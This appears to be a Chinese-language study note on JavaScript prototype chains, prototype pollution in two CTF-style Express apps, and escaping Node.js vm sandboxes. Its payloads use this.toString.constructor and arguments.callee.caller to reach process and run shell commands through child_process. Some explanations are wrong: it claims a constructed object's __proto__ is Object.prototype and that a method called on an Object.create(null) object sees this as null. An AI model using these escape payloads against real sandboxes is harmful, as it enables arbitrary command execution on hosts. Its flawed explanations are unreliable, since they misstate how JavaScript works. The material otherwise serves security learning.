原型链
function test(){
this.a = 'test';
}
b = new test;
可以看到b
在实例化为test对象
以后,就可以输出test类中的属性a
了。这是因为继承的关系
而继承的整个过程就称为该类的原型链。
在javascript中,每个对象的都有一个指向他的原型(prototype)的内部链接,这个原型对象又有它自己的原型,直到null为止
在javascript中一切皆对象,因为所有的变量,函数,数组,对象 都始于object的原型即object.prototype。同时,在js中只有类才有prototype属性,而对象却没有,对象有的是__proto__
和类的prototype
对应。且二者是等价的,就如同下例子
创建一个对象
function Foo(){
this.a = 100;
}
foo = new Foo();
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-etFcTTl0-1690980806934)(C:\Users\Lin\AppData\Roaming\Typora\typora-user-images\image-20230802152046457.png)]
则原型链为
foo --> Foo.prototype --> Object.prototype --> null
由以上例子,我们大概了解污染的原理
因为
b.__proto__
===Object.prototype
, 则我们在b.____proto__加入b=1000时, 相当于在Object.prototype
里加入值, 则创建c是继承object也获取了b=1000
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now
var matrix = [];
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
function draw(mat) {
var count = 0;
for (var i = 0; i < 3; i++){
for (var j = 0; j < 3; j++){
if (matrix[i][j] !== null){
count += 1;
}
}
}
return count === 9;
}
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
app.get('/', (req, res) => {
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
res.render('index');
})
app.get('/admin', (req, res) => {
/*this is under development I guess ??*/
console.log(user.admintoken);
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is flag{prototype_pollution_is_very_dangerous}');
}
else {
res.status(403).send('Forbidden');
}
}
)
app.post('/api', (req, res) => {
var client = req.body;
var winner = null;
if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}
matrix[client.row][client.col] = client.data;
for(var i = 0; i < 3; i++){
if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
if (matrix[i][0] === 'X') {
winner = 1;
}
else if(matrix[i][0] === 'O') {
winner = 2;
}
}
if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
if (matrix[0][i] === 'X') {
winner = 1;
}
else if(matrix[0][i] === 'O') {
winner = 2;
}
}
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
winner = 1;
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
winner = 2;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
winner = 1;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
winner = 2;
}
if (draw(matrix) && winner === null){
res.send(JSON.stringify({winner: 0}))
}
else if (winner !== null) {
res.send(JSON.stringify({winner: winner}))
}
else {
res.send(JSON.stringify({winner: -1}))
}
})
app.listen(3000, () => {
console.log('app listening on port 3000!')
})
首先,我们要获取的信息前是有条件
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is flag{prototype_pollution_is_very_dangerous}');
}
else {
res.status(403).send('Forbidden');
}
获取flag的条件是 传入的querytoken要和user数组本身的admintoken的MD5值相等,且二者都要存在。
由代码可知,全文没有对user.admintokn 进行赋值,所以理论上这个值时不存在的,但是下面有一句赋值语句:
matrix[client.row][client.col] = client.data
data
,row
,col
,都是我们post传入的值,都是可控的。所以可以构造原型链污染,下面我们先本地测试一下。
则
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
function clone(a) {
return merge({}, a);
}
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};
// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.name) {
res.cookie('name', copybody.name).json({
"done": "cookie set"
});
} else {
res.json({
"error": "cookie not set"
})
}
});
app.get('/getFlag', (req, res) => {
var аdmin = JSON.parse(JSON.stringify(req.cookies))
if (admin.аdmin == 1) {
res.send("hackim19{}");
} else {
res.send("You are not authorized");
}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);
获取信息的条件为
if (admin.аdmin == 1) {
res.send("hackim19{}");
} else {
res.send("You are not authorized");
}
获取flag的条件是admin.аdmin == 1
而admin 本身是一个object,其admin 属性本身并不存在,而且还有一个敏感函数 merg
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
merge 函数作用是进行对象的合并,其中涉及到了对象的赋值,且键值可控,这样就可以触发原形链污染了
测试下:
JSON.parse 会把一个json字符串 转化为 javascript的object
我们在创建字典的时候,
__proto__
,不是作为一个键名,而是已经作为__proto__
给其父类进行赋值了,所以在test.__proto__
中才有admin属性,但是我们是想让__proto__
作为一个键名的,可以使用JSON.parse
最后,调试结果为
先说一下最简单的vm模块,vm模块是Node.JS内置的一个模块。理论上不能叫沙箱,他只是Node.JS提供给使用者的一个隔离环境。
使用方法很简单,我们执行m+n这个表达式:
const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)
但这个隔离环境是很容易绕过的。这个环境中上下文里有三个对象:
this 指向传给vm.createContext的那个对象
m 等于数字1
n 等于数字2
我们可以使用外部传入的对象,比如this来引入当前上下文里没有的模块,进而绕过这个隔离环境。比如:
this.toString.constructor('return process')()
const process = this.toString.constructor('return process')() process.mainModule.require('child_process').execSync('whoami').toString()
第一行this.toString获取到一个函数对象,this.toString.constructor获取到函数对象的构造器,构造器中可以传入字符串类型的代码。然后在执行,即可获得process对象。
第二行,利用前面获取的process对象既可以干任何事。
但这里有一个问题,为什么我们不直接使用{}.toString.constructor(‘return process’)(),却要使用this呢?
这两个的一个重要区别就是,{}是在沙盒内的一个对象,而this是在沙盒外的对象(注入进来的)。沙盒内的对象即使使用这个方法,也获取不到process,因为它本身就没有process。
那么另一个问题,m和n也是沙盒外的对象,为什么也不能用m.toString.constructor(‘return process’)()呢?
这个原因就是因为primitive types,数字、字符串、布尔等这些都是primitive types,他们的传递其实传递的是值而不是引用,所以在沙盒内虽然你也是使用的m,但是这个m和外部那个m已经不是一个m了,所以也是无法利用的
所以,如果修改下context:{m: [], n: {}, x: /regexp/},这样m、n、x就都可以利用了。
如果能理解这一点,后面就可以很好的理解沙箱绕过的核心原理了:只要我们能在沙箱内部,找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱。
const inspect = require('util').inspect;
const vm = require('vm');
const script = `
const process = x.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('ipconfig').toString()
`;
const sandbox = {m:[], n: {}, x: /regexp/};
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script,context);
console.log(res)
继续看vm这个模块,我们前面通过this这个外部对象中的属性,来执行了一些隔离环境外的函数。
那么,我们改一下代码,让上下文中不存在this也不存在其他对象,代码如下:
const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)
在 JavaScript 中,this 关键字的值取决于函数的执行上下文。在全局作用域中,this 通常指向全局对象(如浏览器环境中的 window 对象,Node.js 环境中的 global 对象)。但是,在使用 Object.create(null) 创建的对象上下文中,this 将为 null。
const sandbox = Object.create(null);
Object.create(null) 是一个创建一个新对象的方法,该对象没有继承自任何原型链。在 JavaScript 中,Object.create(null) 会创建一个纯净的对象,它没有继承自 Object.prototype 或任何其他原型对象,因此不会拥有默认的原型方法和属性。这样的对象通常被称为“空对象”或“纯净对象”。在这个纯净对象 sandbox 上下文中,由于没有原型链,它的 this 值将为 null。也就是说,如果在 sandbox 对象的上下文中使用 this 关键字,它将是 null。
例如:
const sandbox = Object.create(null);
function greet() {
console.log(this);
}
greet(); // Output: null
在上述示例中,我们定义了一个名为 greet 的函数,并在全局作用域中调用它。由于函数在全局作用域中调用,它的 this 值将为全局对象(如浏览器环境中的 window 或 Node.js 环境中的 global)。然而,如果我们在 sandbox 对象的上下文中调用 greet 函数,this 将为 null:
const sandbox = Object.create(null);
function greet() {
console.log(this);
}
sandbox.greet = greet;
sandbox.greet(); // Output: null
在这个例子中,我们将 greet 函数作为 sandbox 对象的方法,并在 sandbox 对象的上下文中调用它。在这种情况下,this 将是 null
此时我们可以借助arguments对象。arguments是在函数执行的时候存在的一个变量,我们可以通过arguments.callee.caller获得调用这个函数的调用者。
在 JavaScript 中,arguments.callee 和 arguments.caller 都是用于访问函数调用相关信息的特殊属性。然而,这两个属性都已经被弃用(deprecated)并不再建议使用,因为它们在严格模式("strict mode")下会导致错误。
arguments.callee:
arguments.callee 是一个指向当前正在执行的函数本身的引用。
通过 arguments.callee 可以在函数内部递归调用自身,而不需要知道函数的名称。
在过去,它经常用于创建匿名递归函数。例如:
const factorial = function(n) {
if (n === 0 || n === 1) {
return 1;
} else {
return n * arguments.callee(n - 1); // 不推荐使用
}
};
但是,由于 arguments.callee 在严格模式下会导致错误,建议使用命名函数表达式或函数声明来实现递归。
arguments.caller:
arguments.caller 是一个指向调用当前函数的函数的引用。
它提供了一种查找调用栈的方式,可以追溯到调用当前函数的函数。
与 arguments.callee 类似,arguments.caller 也在严格模式下被弃用。
例子:
function outer() {
inner();
}
function inner() {
console.log(arguments.caller); // 不推荐使用
}
outer();
在上述例子中,inner 函数内部使用 arguments.caller 来获取调用它的函数 outer 的引用。但是请注意,这两个属性已经被弃用,应该避免在代码中使用它们。相反,可以使用函数表达式、命名函数或箭头函数来实现递归,而不需要依赖 arguments.callee。要获取调用栈的信息,可以使用 Error 对象的 stack 属性。
那么如果我们在沙盒中定义一个函数并返回,在沙盒外这个函数被调用,那么此时的arguments.callee.caller就是沙盒外的这个调用者,我们再通过这个调用者拿到它的constructor等属性,就可以绕过沙箱了。
比如代码:
const vm = require('vm');
const script = `(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a })()`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script,context);
console.log('hello'+res)
这里可见,toString就是我定义的恶意函数,里面拿到了caller,再通过caller的constructor来获取process,最后执行命令。